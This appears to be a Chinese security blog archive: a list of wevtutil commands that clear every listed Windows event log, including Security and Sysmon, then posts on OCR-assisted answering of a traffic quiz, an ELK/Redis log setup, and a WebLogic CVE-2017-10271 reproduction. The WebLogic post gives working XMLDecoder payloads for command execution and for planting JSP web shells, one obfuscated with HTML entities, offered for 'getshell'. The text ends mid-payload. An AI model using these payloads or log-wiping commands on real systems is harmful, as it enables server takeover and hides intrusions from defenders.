wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational"
wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC"
wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"
wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational"
wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
wevtutil.exe cl "Microsoft-Windows-Recovery/Operational"
wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational"
wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational"
wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"
wevtutil.exe cl "Microsoft-Windows-UAC/Operational"
wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational"
wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational"
wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational"
wevtutil.exe cl "Microsoft-Windows-VHDMP/Operational"
wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational"
wevtutil.exe cl "Microsoft-Windows-WFP/Operational"
wevtutil.exe cl "Microsoft-Windows-Windows Defender/Operational"
wevtutil.exe cl "Microsoft-Windows-Windows Defender/WHC"
wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"
wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
wevtutil.exe cl "Microsoft-Windows-WindowsBackup/ActionCenter"
wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Operational"
wevtutil.exe cl "Microsoft-Windows-WindowsUpdateClient/Operational"
wevtutil.exe cl "Microsoft-Windows-Winlogon/Operational"
wevtutil.exe cl "Microsoft-Windows-WinRM/Operational"
wevtutil.exe cl "Microsoft-Windows-Winsock-WS2HELP/Operational"
wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Operational"
wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational"
wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational"
wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational"
wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Operational"
wevtutil.exe cl "Microsoft-Windows-Sysmon/Operational"
wevtutil.exe cl "ODiag"
wevtutil.exe cl "OSession"
wevtutil.exe cl "Security"
wevtutil.exe cl "Setup"
wevtutil.exe cl "System"
wevtutil.exe cl "Windows PowerShell"

最好的方法还是集中化啊。比如利用beat对系统进行监控

关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:开发笔记,工作日志,代码学习,linux,python,生活琐事 // 2 Comments

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

利用RELK进行日志收集

发布时间:April 3, 2018 // 分类:开发笔记,运维工作,python // No Comments

前不久在做应急的总是遇到要求对日志进行分析溯源,当时就想到如果对常见的日志类进行解析后统一入库处理,然后在对相关的IP/URL进行统计归纳。对于溯源之类的很是方便。想到数据量比较大,又要便于分析,就想到了ELK.

搭建一套基于elk的日志分析系统。
系统centos 内存4G 双核

大概架构如此

1.elk搭建

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

整个elk系统搭建好了,安装redis作为agent收集日志来作为logstash的输入源

wget http://download.redis.io/redis-stable.tar.gz
tar zxf redis-stable.tar.gz 
cd redis-stable
make && make install

修改redis.conf。

bind 0.0.0.0
protected-mode no
daemonize yes
maxclients 1000000

启动redis

sudo redis.conf /etc/
redis-server /etc/redis.conf

Logstash配置文件是JSON格式,放在/etc/logstash/conf.d 。 该配置由三个部分组成:输入,过滤器和输出。

input 数据输入端,可以接收来自任何地方的源数据。
file:从文件中读取
syslog:监听在514端口的系统日志信息,并解析成RFC3164格式。
redis:从redis-server list 中获取
beat:接收来自Filebeat的事件
Filter 数据中转层,主要进行格式处理,数据类型转换、数据过滤、字段添加,修改等,常用的过滤器如下。
grok: 通过正则解析和结构化任何文本。Grok 目前是logstash最好的方式对非结构化日志数据解析成结构化和可查询化。logstash内置了120个匹配模式,满足大部分需求。
mutate: 在事件字段执行一般的转换。可以重命名、删除、替换和修改事件字段。
drop: 完全丢弃事件,如debug事件。
clone: 复制事件,可能添加或者删除字段。
geoip: 添加有关IP地址地理位置信息。
output 是logstash工作的最后一个阶段,负责将数据输出到指定位置,兼容大多数应用,常用的有:
elasticsearch: 发送事件数据到 Elasticsearch,便于查询,分析,绘图。
file: 将事件数据写入到磁盘文件上。
mongodb:将事件数据发送至高性能NoSQL mongodb,便于永久存储,查询,分析,大数据分片。
redis:将数据发送至redis-server,常用于中间层暂时缓存。
graphite: 发送事件数据到graphite。http://graphite.wikidot.com/
statsd: 发送事件数据到 statsd。

编写logstash的配置文件。对所有的数据全盘接受,感谢Mosuan师傅的指导。

input {    
    redis {
        host => '127.0.0.1'
    port => 6379
        password => 'password'
        data_type => 'list'
        key => 'logstash:redis'
    }
}
output {
    elasticsearch { hosts => localhost }
    stdout { codec => rubydebug }
}

Logpara

一个对常见的web日志进行解析处理的粗糙DEMO。

Python 2.7 License

目标

  • 对被请求的URL进行解析,解析出是否常见的攻击方式
  • 对来访的IP进行深度解析,包含经纬度,物理地址
  • 对来访的UA进行深度解析,解析出设备,浏览器种类,是否爬虫
  • 把全部的日志解析了入库,做RELK处理

TO DO

  • 对入库elasticsearch的日志进行处理并展示

Useage

  • 使用之前先修改common/units.py

    redis_host = '192.168.87.222'
    redis_port = 6379
    redis_pass = 'cft67ygv'
    redis_db = 0
    redis_key = 'logstash:redis'
    
  • 使用
Usage: main.py --type IIS|Apache|Tomcat|Nginx --file file|directory

log parser

Options:
  -h, --help   show this help message and exit
  --type=TYPE  chose which log type
  --file=FILE  chose file or directory

脚本地址:https://github.com/0xa-saline/Logpara

导入后的结果类似


单个查看

如果基于nginx还可以收集post数据,在溯源取证以及日志分析都是有很好的帮助。

Weblogic(CVE-2017-10271)漏洞复现 附POC

发布时间:December 26, 2017 // 分类:开发笔记,linux,python,windows // No Comments

最近的CVE-2017-10271也是引起了一个小风波。趁着刚好有空就也测试了一下.测试环境是基于docker的.实际地址是:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

注意的是,在发送请求的时候,在请求头中必带Content-Type: text/xml,否则是无法请求成功的。
文件上传:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.101:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 582

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/poacher.txt</string><void method="println">
                        <string>Weblogic By:Poacher</string></void><void method="close"/>
                    </object>
                </java>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行(猥琐命令回显方法)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                      <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

得说一下这里是使用的ProcessBuilder类进行的本地命令调用的。所以如果需要修改命令的话就得吧对应的参数修改了。以上的poc是弹计算器的。验证一下。

接下来说一下猥琐的命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="5">
                      <void index="0">
                        <string>cmd</string>
                    </void>
                    <void index="1">
                        <string>/c</string>
                    </void>    
                    <void index="2">
                        <string>ipconfig</string>
                    </void>        
                    <void index="3">
                        <string>>></string>
                    </void>    
                    <void index="4">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                    </void>        
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt,可以测试一下:

访问:http://www.xxxxx.cn:7001/wls-wsat/ipconfig.txt

发一个可以直接getshell的利用

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){  
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
                        int a = -1;  
                        byte[] b = new byte[2048];  
                        out.print("<pre>");  
                        while((a=in.read(b))!=-1){  
                            out.println(new String(b));  
                        }  
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

另外附上一个其他的payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
        <java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
                        <void method="println"><string>&#60;&#37;@&#32;p&#97;ge&#32;l&#97;ngu&#97;ge&#61;&#34;j&#97;v&#97;&#34;&#32;p&#97;ge&#69;n&#99;oding&#61;&#34;g&#98;k&#34;&#37;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;&#37;&#32;int&#32;i&#61;&#48;&#59;&#83;tring&#32;method&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;&#97;&#99;t&#34;&#41;&#59;if&#40;method&#33;&#61;null&#38;&#38;method&#46;equ&#97;ls&#40;&#34;yo&#99;o&#34;&#41;&#41;{&#83;tring&#32;url&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;url&#34;&#41;&#59;&#83;tring&#32;text&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;sm&#97;rt&#34;&#41;&#59;&#70;ile&#32;f&#61;new&#32;&#70;ile&#40;url&#41;&#59;if&#40;f&#46;exists&#40;&#41;&#41;{f&#46;delete&#40;&#41;&#59;}try{&#79;utput&#83;tre&#97;m&#32;o&#61;new&#32;&#70;ile&#79;utput&#83;tre&#97;m&#40;f&#41;&#59;o&#46;write&#40;text&#46;get&#66;ytes&#40;&#41;&#41;&#59;o&#46;&#99;lose&#40;&#41;&#59;}&#99;&#97;t&#99;h&#40;&#69;x&#99;eption&#32;e&#41;{i&#43;&#43;&#59;&#37;&#62;&#48;&#60;&#37;}}if&#40;i&#61;&#61;&#48;&#41;{&#37;&#62;&#49;&#60;&#37;}&#37;&#62;&#60;form&#32;&#97;&#99;tion&#61;&#39;&#63;&#97;&#99;t&#61;yo&#99;o&#39;&#32;method&#61;&#39;post&#39;&#62;&#60;input&#32;size&#61;&#34;&#49;&#48;&#48;&#34;&#32;v&#97;lue&#61;&#34;&#60;&#37;&#61;&#97;ppli&#99;&#97;tion&#46;get&#82;e&#97;l&#80;&#97;th&#40;&#34;&#47;&#34;&#41;&#32;&#37;&#62;&#34;&#32;n&#97;me&#61;&#34;url&#34;&#62;&#60;&#98;r&#62;&#60;text&#97;re&#97;&#32;rows&#61;&#34;&#50;&#48;&#34;&#32;&#99;ols&#61;&#34;&#56;&#48;&#34;&#32;n&#97;me&#61;&#34;sm&#97;rt&#34;&#62;</string></void><void method="close"/>
                </object>
        </java>
</java>
</work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>

因为所有的都是基于servers/AdminServer/tmp/下可写的情况下的.不过作为验证需要利用非有害请求的方式,写了某框架的插件.借助dns来验证是否存在.如果不存在再考虑写文件的方式.

    def verify_shell(self):
        import re
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        random_file = str(randint(10000000,99999999))
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#xa;&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x50;&#x55;&#x42;&#x4c;&#x49;&#x43;&#x20;&#x22;&#x2d;&#x2f;&#x2f;&#x57;&#x33;&#x43;&#x2f;&#x2f;&#x44;&#x54;&#x44;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x34;&#x2e;&#x30;&#x20;&#x44;&#x72;&#x61;&#x66;&#x74;&#x2f;&#x2f;&#x45;&#x4e;&#x22;&#x3e;&#xa;&#x3c;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#xa;&#x3c;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x42;&#x4f;&#x44;&#x59;&#x20;&#x62;&#x67;&#x63;&#x6f;&#x6c;&#x6f;&#x72;&#x3d;&#x22;&#x77;&#x68;&#x69;&#x74;&#x65;&#x22;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x73;&#x70;&#x61;&#x63;&#x69;&#x6e;&#x67;&#x3d;&#x35;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x22;&#x62;&#x6c;&#x61;&#x63;&#x6b;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x32;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x32;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x77;&#x69;&#x64;&#x74;&#x68;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x70;&#x61;&#x64;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x31;&#x30;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x20;&#x56;&#x41;&#x4c;&#x49;&#x47;&#x4e;&#x3d;&#x74;&#x6f;&#x70;&#x20;&#x57;&#x49;&#x44;&#x54;&#x48;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x42;&#x47;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x77;&#x68;&#x69;&#x74;&#x65;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x33;&#x3e;&#x46;&#x72;&#x6f;&#x6d;&#x20;&#x52;&#x46;&#x43;&#x20;&#x32;&#x30;&#x36;&#x38;&#x20;&#x3c;&#x69;&#x3e;&#x48;&#x79;&#x70;&#x65;&#x72;&#x74;&#x65;&#x78;&#x74;&#x20;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x65;&#x72;&#x20;&#x50;&#x72;&#x6f;&#x74;&#x6f;&#x63;&#x6f;&#x6c;&#x20;&#x2d;&#x2d;&#x20;&#x48;&#x54;&#x54;&#x50;&#x2f;&#x31;&#x2e;&#x31;&#x3c;&#x2f;&#x69;&#x3e;&#x